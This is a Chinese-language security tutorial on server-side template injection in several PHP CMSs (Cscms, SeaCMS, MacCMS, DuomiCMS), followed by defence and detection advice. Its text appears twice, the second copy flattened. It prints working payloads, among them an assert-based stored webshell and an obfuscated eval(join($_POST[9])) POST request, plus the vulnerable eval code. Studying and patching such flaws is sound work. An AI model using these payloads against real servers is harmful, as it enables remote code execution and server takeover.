存在SSTI漏洞的CMS合集
字数 2557 2025-08-27 12:33:31

服务端模板注入(SSTI)漏洞分析与利用指南

一、SSTI漏洞概述

1.1 基本概念

SSTI(Server-Side Template Injection)服务端模板注入是一种Web安全漏洞,当应用程序将用户输入作为Web应用模板内容的一部分进行渲染时,如果未经过适当处理,攻击者可以注入恶意模板代码,导致敏感信息泄露、代码执行甚至获取服务器权限。

1.2 漏洞成因

  • 用户输入未经严格过滤直接嵌入模板
  • 使用危险函数(如eval)处理模板内容
  • 模板引擎设计缺陷或配置不当

1.3 影响范围

影响范围主要取决于模板引擎的复杂性,可能导致:

  • 任意代码执行
  • 服务器敏感信息泄露
  • 服务器被完全控制
  • 数据库内容泄露

二、常见CMS中的SSTI漏洞分析

2.1 Cscms SSTI漏洞

环境要求

  • Windows 10 + PHPStudy
  • PHP 5.6 + Apache2 + MySQL
  • Cscms受影响版本

漏洞复现

POC 1 (留言板注入):

URL: index.php/gbook
POST数据: {cscmsphp}assert($_REQUEST[pwd]);{/cscmsphp}
访问Shell: /index.php/gbook/lists/1?pwd=phpinfo();

POC 2 (搜索功能注入):

URL: index.php/dance/search?key={cscmsphp}phpinfo();{/cscmsphp}

漏洞分析

核心漏洞位于upload/cscms/app/models/Csskins.php中的cscms_php函数:

public function cscms_php($php,$content,$str) {
    $evalstr=" return $content";
    $newsphp=eval($evalstr);
    $str=str_replace($php,$newsphp,$str);
    return $str;
}

触发点:

  1. 用户通过留言板提交恶意模板代码
  2. 代码被存入数据库
  3. 渲染留言时调用cscms_php函数执行eval
  4. 攻击者通过URL参数触发代码执行

利用链

  1. 用户留言 → 数据库存储 → 模板渲染 → eval执行

2.2 海洋CMS SSTI漏洞

环境要求

  • Windows 10 + PHPStudy
  • PHP 5.6 + Apache2 + MySQL
  • Seacms v6.53

漏洞复现

POC:

POST /seacms(v6.53)/upload/search.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 208

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

漏洞分析

核心漏洞位于模板解析函数中的eval执行:

@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");

利用过程:

  1. 通过多步参数替换构造出可执行的PHP代码
  2. 最终形成{if:eval(join($_POST[9]))}结构
  3. 通过POST数组传递要执行的函数

替换链分析

  1. searchword={if{searchpage:year}{if{searchpage:year}
  2. year=:e{searchpage:area}}{if:e{searchpage:area}}
  3. area=v{searchpage:letter}{if:ev{searchpage:letter}
  4. letter=al{searchpage:lang}{if:eval{searchpage:lang}
  5. yuyan=(join{searchpage:jq}{if:eval(join{searchpage:jq}
  6. jq=($_P{searchpage:ver}{if:eval(join($_P{searchpage:ver}
  7. ver=OST[9])){if:eval(join($_POST[9]))}

2.3 苹果CMS SSTI漏洞

环境要求

  • Windows 10 + PHPStudy
  • PHP 5.6 + Apache2 + MySQL
  • Maccms_php_v8.x

漏洞复现

POC:

URL: http://127.0.0.1/maccms/index.PHP?m=vod-search
POST数据: wd={if-A:phpinfo()}{endif-A}

漏洞分析

核心漏洞位于maccms\inc\common\template.php中的ifex函数:

function ifex() {
    if (!strpos(",".$this->H,"{if-")) { return; }
    $labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
    preg_match_all($labelRule,$this->H,$iar);
    //...
    @eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
}

利用方式:

  1. 通过wd参数注入模板标签
  2. 构造符合正则{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}的payload
  3. 触发eval执行任意代码

2.4 DuomiCMS SSTI漏洞

环境要求

  • DuomiCms_v1.32

漏洞复现

POC:

/search.php?searchtype=5&tid=&area=phpinfo()

三、SSTI漏洞防御方案

3.1 开发层面防御

  1. 输入过滤与验证

    • 对所有用户输入进行严格过滤
    • 使用白名单机制限制允许的输入内容
    • 对特殊字符进行转义处理
  2. 安全模板设计

    • 避免直接拼接用户输入到模板
    • 使用安全的模板引擎(如Twig、Smarty等)
    • 禁用危险函数如eval、assert等
  3. 权限控制

    • 模板渲染使用最低权限账户
    • 限制模板文件的读写权限

3.2 运维层面防御

  1. 及时更新

    • 保持CMS和插件为最新版本
    • 及时应用安全补丁
  2. 安全配置

    • 禁用不必要的PHP函数
    • 配置正确的文件权限
    • 启用WAF防护
  3. 监控与审计

    • 监控可疑的模板文件修改
    • 定期审计模板渲染日志
    • 设置异常行为告警

四、SSTI漏洞检测方法

4.1 手工检测

  1. 识别模板注入点

    • 所有用户输入点(表单、URL参数、Cookie等)
    • 内容渲染处(留言板、评论、搜索等)
  2. 测试模板语法

    • 尝试注入模板语法如{{7*7}}{if condition}...{/if}
    • 观察响应是否执行了模板运算
  3. 确认注入类型

    • 通过错误信息判断模板引擎类型
    • 根据引擎类型构造特定payload

4.2 自动化工具

  1. tplmap

    • 支持多种模板引擎的检测与利用
    • 可自动识别引擎类型并获取shell
  2. Burp Suite插件

    • SSTI Scanner等插件可辅助检测
    • 可结合Intruder模块进行模糊测试
  3. 自定义脚本

    • 根据目标CMS编写针对性检测脚本
    • 批量检测同类型CMS漏洞

五、扩展知识与资源

5.1 相关技术链接

  1. 服务端模板注入攻击分析与防御
  2. SSTI漏洞原理与利用
  3. 模板注入实战案例
  4. PHP SSTI深入研究
  5. DuomiCMS漏洞分析

5.2 实验环境搭建建议

  1. 使用虚拟机或容器隔离测试环境
  2. 配置与漏洞匹配的PHP版本
  3. 记录完整的复现步骤便于分析
  4. 在不影响业务的情况下进行测试

5.3 进阶研究方向

  1. 不同模板引擎的SSTI利用技术
  2. 无eval情况下的SSTI利用方法
  3. SSTI与其他漏洞的组合利用
  4. 现代框架中的模板注入防护机制

六、总结

SSTI漏洞作为一种常见的Web安全威胁,其危害性不容忽视。通过对多个CMS实例的分析可以看出,这类漏洞通常源于开发人员对用户输入过于信任,直接将其拼接到模板中执行。防御SSTI需要从开发习惯、代码审计、安全配置等多方面入手,建立完整的安全防护体系。

安全研究人员在分析SSTI漏洞时,应当重点关注:

  1. 模板渲染流程
  2. 用户输入处理方式
  3. 危险函数调用点
  4. 数据流追踪

只有深入理解模板引擎的工作原理和潜在风险点,才能有效预防和应对SSTI攻击。

服务端模板注入(SSTI)漏洞分析与利用指南 一、SSTI漏洞概述 1.1 基本概念 SSTI(Server-Side Template Injection)服务端模板注入是一种Web安全漏洞,当应用程序将用户输入作为Web应用模板内容的一部分进行渲染时,如果未经过适当处理,攻击者可以注入恶意模板代码,导致敏感信息泄露、代码执行甚至获取服务器权限。 1.2 漏洞成因 用户输入未经严格过滤直接嵌入模板 使用危险函数(如eval)处理模板内容 模板引擎设计缺陷或配置不当 1.3 影响范围 影响范围主要取决于模板引擎的复杂性,可能导致: 任意代码执行 服务器敏感信息泄露 服务器被完全控制 数据库内容泄露 二、常见CMS中的SSTI漏洞分析 2.1 Cscms SSTI漏洞 环境要求 Windows 10 + PHPStudy PHP 5.6 + Apache2 + MySQL Cscms受影响版本 漏洞复现 POC 1 (留言板注入): POC 2 (搜索功能注入): 漏洞分析 核心漏洞位于 upload/cscms/app/models/Csskins.php 中的 cscms_php 函数: 触发点: 用户通过留言板提交恶意模板代码 代码被存入数据库 渲染留言时调用 cscms_php 函数执行eval 攻击者通过URL参数触发代码执行 利用链 用户留言 → 数据库存储 → 模板渲染 → eval执行 2.2 海洋CMS SSTI漏洞 环境要求 Windows 10 + PHPStudy PHP 5.6 + Apache2 + MySQL Seacms v6.53 漏洞复现 POC: 漏洞分析 核心漏洞位于模板解析函数中的eval执行: 利用过程: 通过多步参数替换构造出可执行的PHP代码 最终形成 {if:eval(join($_POST[9]))} 结构 通过POST数组传递要执行的函数 替换链分析 searchword={if{searchpage:year} → {if{searchpage:year} year=:e{searchpage:area}} → {if:e{searchpage:area}} area=v{searchpage:letter} → {if:ev{searchpage:letter} letter=al{searchpage:lang} → {if:eval{searchpage:lang} yuyan=(join{searchpage:jq} → {if:eval(join{searchpage:jq} jq=($_P{searchpage:ver} → {if:eval(join($_P{searchpage:ver} ver=OST[9])) → {if:eval(join($_POST[9]))} 2.3 苹果CMS SSTI漏洞 环境要求 Windows 10 + PHPStudy PHP 5.6 + Apache2 + MySQL Maccms_ php_ v8.x 漏洞复现 POC: 漏洞分析 核心漏洞位于 maccms\inc\common\template.php 中的ifex函数: 利用方式: 通过wd参数注入模板标签 构造符合正则 {if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1} 的payload 触发eval执行任意代码 2.4 DuomiCMS SSTI漏洞 环境要求 DuomiCms_ v1.32 漏洞复现 POC: 三、SSTI漏洞防御方案 3.1 开发层面防御 输入过滤与验证 对所有用户输入进行严格过滤 使用白名单机制限制允许的输入内容 对特殊字符进行转义处理 安全模板设计 避免直接拼接用户输入到模板 使用安全的模板引擎(如Twig、Smarty等) 禁用危险函数如eval、assert等 权限控制 模板渲染使用最低权限账户 限制模板文件的读写权限 3.2 运维层面防御 及时更新 保持CMS和插件为最新版本 及时应用安全补丁 安全配置 禁用不必要的PHP函数 配置正确的文件权限 启用WAF防护 监控与审计 监控可疑的模板文件修改 定期审计模板渲染日志 设置异常行为告警 四、SSTI漏洞检测方法 4.1 手工检测 识别模板注入点 所有用户输入点(表单、URL参数、Cookie等) 内容渲染处(留言板、评论、搜索等) 测试模板语法 尝试注入模板语法如 {{7*7}} 、 {if condition}...{/if} 观察响应是否执行了模板运算 确认注入类型 通过错误信息判断模板引擎类型 根据引擎类型构造特定payload 4.2 自动化工具 tplmap 支持多种模板引擎的检测与利用 可自动识别引擎类型并获取shell Burp Suite插件 SSTI Scanner等插件可辅助检测 可结合Intruder模块进行模糊测试 自定义脚本 根据目标CMS编写针对性检测脚本 批量检测同类型CMS漏洞 五、扩展知识与资源 5.1 相关技术链接 服务端模板注入攻击分析与防御 SSTI漏洞原理与利用 模板注入实战案例 PHP SSTI深入研究 DuomiCMS漏洞分析 5.2 实验环境搭建建议 使用虚拟机或容器隔离测试环境 配置与漏洞匹配的PHP版本 记录完整的复现步骤便于分析 在不影响业务的情况下进行测试 5.3 进阶研究方向 不同模板引擎的SSTI利用技术 无eval情况下的SSTI利用方法 SSTI与其他漏洞的组合利用 现代框架中的模板注入防护机制 六、总结 SSTI漏洞作为一种常见的Web安全威胁,其危害性不容忽视。通过对多个CMS实例的分析可以看出,这类漏洞通常源于开发人员对用户输入过于信任,直接将其拼接到模板中执行。防御SSTI需要从开发习惯、代码审计、安全配置等多方面入手,建立完整的安全防护体系。 安全研究人员在分析SSTI漏洞时,应当重点关注: 模板渲染流程 用户输入处理方式 危险函数调用点 数据流追踪 只有深入理解模板引擎的工作原理和潜在风险点,才能有效预防和应对SSTI攻击。